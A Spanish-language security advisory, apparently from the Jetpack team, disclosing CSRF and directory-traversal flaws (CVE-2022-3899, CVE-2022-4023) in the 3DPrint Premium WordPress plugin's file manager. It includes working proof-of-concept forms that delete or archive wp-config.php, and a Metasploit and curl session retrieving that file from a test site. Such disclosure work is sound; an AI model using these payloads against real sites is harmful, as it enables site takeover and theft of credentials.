Vulnerabilidades encontradas en el complemento 3DPrint Premium
Publicado: 2022-12-13La versión premium del complemento de WordPress 3DPrint es vulnerable a la falsificación de solicitudes en sitios cruzados (CSRF) y a los ataques transversales de directorio cuando la funcionalidad del administrador de archivos está habilitada. Estas vulnerabilidades permiten que un atacante elimine u obtenga acceso a archivos y directorios arbitrarios en los sitios afectados, incluidos archivos confidenciales como los archivos de configuración del sitio, lo que nuevamente podría conducir a una toma de control completa del sitio.
Recientemente, al revisar algunos posibles falsos positivos marcados por nuestras firmas experimentales, descubrimos un código que nos desconcertó en el complemento premium 3DPrint.
require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );
global $wpdb;
set_time_limit(0);
ini_set( 'memory_limit', '-1' );
Este fragmento se encontró en el módulo PHP de Tiny File Manager ubicado dentro del directorio de inclusión del complemento, pero no se encuentra en el proyecto original de Tiny File Manager. Parece haber sido inyectado con la intención de integrarlo con los controles de acceso basados en roles de WordPress.
Cargar archivos de código de WordPress como este en un módulo no relacionado suele ser una señal de que algo anda mal, por lo que decidimos investigar más a fondo.
El lector observador notará que el acceso al módulo está limitado a los usuarios con el rol de Administrador, pero no hay verificaciones de nonce. Eso estaría bien si Tiny File Manager tuviera su propia protección CSRF, pero como este no fue el caso, parece que este código puede ser susceptible a un ataque CSRF. (Desde entonces, Tiny File Manager agregó protección CSRF después de que les informamos sobre el problema. ¡La versión 2.5.0 y posteriores deberían ser mucho más seguras de usar!)
Un factor de complicación es que Tiny File Manager no está incluido en el paquete al instalar 3DPrint premium, pero se descarga a pedido cuando se activa. La versión descargada en el momento de escribir este artículo es la versión 2.4.4, pero los desarrolladores de 3DPrint la han modificado mucho y se descarga desde su dominio, no directamente desde los repositorios de Tiny File Manager.
La mayoría de los cambios realizados eliminan la funcionalidad no utilizada por el complemento, así como algunos otros cambios, como la codificación de la ruta, lo que limita a lo que el administrador de archivos debería poder acceder. Además, las funciones de autenticación y autorización integradas en Tiny File Manager se han desactivado y reemplazado por la integración anterior con el sistema de funciones de WordPress.
Hemos descubierto un par de vulnerabilidades donde la combinación de los controles de acceso modificados y la inclusión de Tiny File Manager en el complemento 3DPrint se vuelve explotable para un atacante externo. Esto incluye eliminar o descargar archivos confidenciales, lo que podría permitir una toma de control completa del sitio. Estas vulnerabilidades aprovechan la falta de comprobaciones nonce en los controles de acceso modificados, junto con las vulnerabilidades de cruce de directorios en el propio Tiny File Manager.
Hemos intentado comunicarnos con el proveedor tanto del complemento 3DPrint como del proyecto Tiny File Manager. De estos, solo los desarrolladores del proyecto Tiny File Manager nos respondieron y solucionaron los problemas que les enviamos.
Echa un vistazo a nuestro nuevo WAF como parte de Jetpack Scan, que te protegerá contra estos ataques desde el primer momento. Actualmente está en beta. Jetpack Scan también detectará el componente vulnerable y ayudará a eliminarlo.
Como el módulo Tiny File Manager se descarga e instala a pedido, no existe necesariamente una correspondencia entre la versión del complemento y la versión de Tiny File Manager que se utiliza. Sin embargo, una vez instalado, no parece haber una manera fácil de actualizar el módulo Tiny File Manager además de eliminarlo manualmente y activarlo nuevamente.
Por esta razón, consideramos que todas las versiones de 3DPrint son vulnerables a las siguientes vulnerabilidades si se ha activado el administrador de archivos.
las vulnerabilidades
1. CSRF que conduce a la eliminación arbitraria de archivos/directorios
- Complemento: 3DPrint
- Babosa de complemento: 3dprint
- URI del complemento: http://www.wp3dprinting.com/2015/07/29/changelog/
- Versiones vulnerables: todas
- Versión fija: ninguna
- Puntaje CVSS: 8.2 (Alto, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L)
- CVE: CVE-2022-3899
La funcionalidad de eliminación masiva en la versión incluida de Tiny File Manager (versión 2.4.4) no está protegida adecuadamente contra el cruce de directorios y también carece de protecciones CSRF. Esto permite que un atacante engañe a un administrador para que elimine varios archivos o incluso directorios en el servidor de forma recursiva.
// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
$path = FM_ROOT_PATH;
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
$errors = 0;
$files = $_POST['file'];
if (is_array($files) && count($files)) {
foreach ($files as $f) {
if ($f != '') {
$new_path = $path . '/' . $f;
if (!fm_rdelete($new_path)) {
$errors++;
}
}
}
if ($errors == 0) {
fm_set_msg('Selected files and folder deleted');
} else {
fm_set_msg('Error while deleting items', 'error');
}
} else {
fm_set_msg('Nothing selected', 'alert');
}
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
Esto se puede aprovechar pasando el group
y delete
los parámetros POST a cualquier valor, y pasando una matriz de archivos/directorios para eliminar en el parámetro file
. La variable $new_path
es una concatenación simple de FM_ROOT_PATH
y el nombre de archivo pasado, pasado a la función de eliminación recursiva fm_rdelete()
. Como fm_rdelete()
no realiza ninguna validación de los nombres de ruta que se le dan, esto hace que este código sea vulnerable a un ataque transversal de directorio.
Aquí hay un ejemplo de prueba de concepto:
<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="delete" value="1">
<input type="hidden" name="file[1]" value="../2020">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
<input type="submit" value="Get rich!">
</form>
Todas las rutas son relativas al directorio wp-content/uploads/p3d/
en el servidor. Cuando cualquier administrador que haya iniciado sesión haga clic en el botón para enriquecerse, sus cargas de 2020 se eliminarán junto con el archivo wp-config.php
de los sitios.
2. CSRF que conduce a descargas arbitrarias
- Complemento: 3DPrint
- Babosa de complemento: 3dprint
- URI del complemento: http://www.wp3dprinting.com/2015/07/29/changelog/
- Versiones vulnerables: todas
- Versión fija: ninguna
- Puntaje CVSS: 7.4 (Alto, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
- CVE: CVE-2022-4023
La funcionalidad en la versión incluida de Tiny File Manager (versión 2.4.4) para descargar un archivo zip o tar de archivos seleccionados no está protegida contra el cruce de directorios y carece de protecciones CSRF. Esto permite que un atacante engañe a un administrador para que cree un archivo zip o tar con archivos y directorios arbitrarios del sitio, incluidos archivos de configuración u otro contenido confidencial.
El archivo se coloca en el directorio de carga normal de 3DPring, wp-content/uploads/p3d/
. El atacante solo puede controlar parcialmente el nombre del archivo, pero es lo suficientemente predecible como para que sea relativamente fácil de usar la fuerza bruta. Si saben a qué hora se envió la solicitud falsificada, también debería ser trivial hacer una conjetura.
// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
$path = FM_ROOT_PATH;
$ext = 'zip';
if (FM_PATH != '') {
// $path .= '/' . FM_PATH;
}
//set pack type
$ext = isset($_POST['tar']) ? 'tar' : 'zip';
$files = $_POST['file'];
if (!empty($files)) {
chdir($path);
if (count($files) == 1) {
$one_file = reset($files);
$one_file = basename($one_file);
$zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
} else {
$zipname = 'archive_' . date('ymd_His') . '.'.$ext;
}
if($ext == 'zip') {
$zipper = new FM_Zipper();
$res = $zipper->create($zipname, $files);
} elseif ($ext == 'tar') {
$tar = new FM_Zipper_Tar();
$res = $tar->create($zipname, $files);
}
Al enviar una solicitud de publicación con el group
y las variables zip
o tar
establecidas en cualquier valor, se creará un archivo con los archivos especificados en el parámetro file
. La fecha y la hora actuales se agregarán al nombre del archivo para el archivo, que tendrá el mismo nombre base que el archivo archivado, o "archivo" si se archivan varios archivos juntos. El archivo se creará en el directorio de carga de 3DPrint, pero los nombres de ruta de los archivos no se desinfectan y pueden contener rutas fuera de este directorio, lo que lo hace vulnerable a los ataques transversales de directorio.
Para explotar esta vulnerabilidad, creamos un módulo de carga útil simple para Metasploit que sirve como un formulario de autoenvío con la carga útil maliciosa al sitio vulnerable. La carga útil de prueba de concepto enviada fue:
<!DOCTYPE html>
<html>
<body>
<form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
<input type="hidden" name="group" value="1">
<input type="hidden" name="zip" value="1">
<input type="hidden" name="file[1]" value="../2022">
<input type="hidden" name="file[2]" value="../../../wp-config.php">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
Como el módulo Metasploit registraría la marca de tiempo de cuando se envió el formulario, eso facilitó adivinar el nombre de archivo correcto para el archivo creado.
% msfconsole
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00
msf6 payload(html/html_reverse_http) > exit
% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes
% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 87225 100 87225 0 0 2322k 0 --:--:-- --:--:-- --:--:-- 2366k
% unzip -v archive_221210_100649.zip
Archive: archive_221210_100649.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/
0 Stored 0 0% 2022-12-10 10:06 00000000 ../2022/12/
85888 Defl:X 85655 0% 2022-12-10 10:05 724f1f67 ../2022/12/funny-cat.jpg
1955 Defl:X 1114 43% 2022-11-01 23:25 96f2088a ../../../wp-config.php
-------- ------- --- -------
87843 86769 1% 4 files
Observe cómo podemos deducir el nombre de archivo del archivo generado a partir de la marca de tiempo de la solicitud. En este caso, el contenedor del servidor se ejecuta una zona horaria detrás de la zona horaria local.
Recomendaciones
Como la versión del administrador de archivos instalada es independiente de la versión del complemento instalado, no podemos recomendar una versión fija del complemento.
Tampoco hemos encontrado una manera fácil de actualizar el módulo del administrador de archivos si se lanza una nueva versión en una fecha posterior.
Por esta razón, consideramos que todas las versiones del complemento premium 3DPrint son vulnerables si el componente del administrador de archivos está habilitado.
Nuestra recomendación es asegurarse de que el módulo del administrador de archivos esté deshabilitado y que el archivo se elimine del sitio.
La forma más fácil es eliminar el archivo wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php
si existe.
Conclusiones
Todas las versiones del complemento premium 3DPrint son vulnerables a CSRF y ataques transversales de directorio si el módulo del administrador de archivos está habilitado en el sitio. Esto no afecta la versión gratuita del complemento descargado del repositorio de complementos de WordPress.org.
En Jetpack, trabajamos arduamente para asegurarnos de que sus sitios web estén protegidos contra este tipo de vulnerabilidades. Le recomendamos que tenga un plan de seguridad para su sitio que incluya análisis y copias de seguridad de archivos maliciosos. El paquete Jetpack Security es una excelente opción de seguridad de WordPress para garantizar que su sitio y los visitantes estén seguros. Este producto incluye análisis de malware en tiempo real, copias de seguridad del sitio, protección contra spam de comentarios y formularios de Akismet, protección contra ataques de fuerza bruta y más.
Créditos
Investigación de Harald Eilertsen, con comentarios y correcciones de Benedict Singer, Rob Pugh, Jen Swisher y el equipo de Jetpack Scan.
Cronología
- 2022-09-08: Fuimos informados del hallazgo y comenzamos a investigar
- 2022-10-25: proveedor contactado por primera vez
- 2022-11-01: Proveedor contactado por segunda vez a través de un canal diferente
- 2022-11-08: Vulnerabilidad de eliminación masiva revelada (CVE-2022-3899)
- 2022-11-15: Se contactó con los desarrolladores de Tiny File Manager sobre la falta de protección CSRF y las vulnerabilidades de cruce de directorios.
- 2022-11-19: Lanzamiento de Tiny File Manager 2.5.0, que soluciona los problemas de CSRF pero no los problemas de cruce de directorios.
- 2022-12-13: Divulgación pública